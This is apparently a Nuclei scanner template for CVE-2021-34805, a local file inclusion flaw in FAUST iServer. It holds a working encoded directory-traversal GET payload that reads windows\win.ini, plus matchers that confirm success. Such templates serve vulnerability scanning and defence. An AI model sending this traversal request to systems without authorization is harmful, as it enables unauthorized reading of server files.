id: CVE-2021-34805

info:
  name: FAUST iServer 9.0.018.018.4 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: An issue was discovered in FAUST iServer before 9.0.019.019.7. For each URL request, it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal.
  reference:
    - https://cxsecurity.com/issue/WLB-2022010120
    - https://www.cvedetails.com/cve/CVE-2021-34805
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-34805
    cwe-id: CWE-22
  tags: cve,cve2021,faust,iserver,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200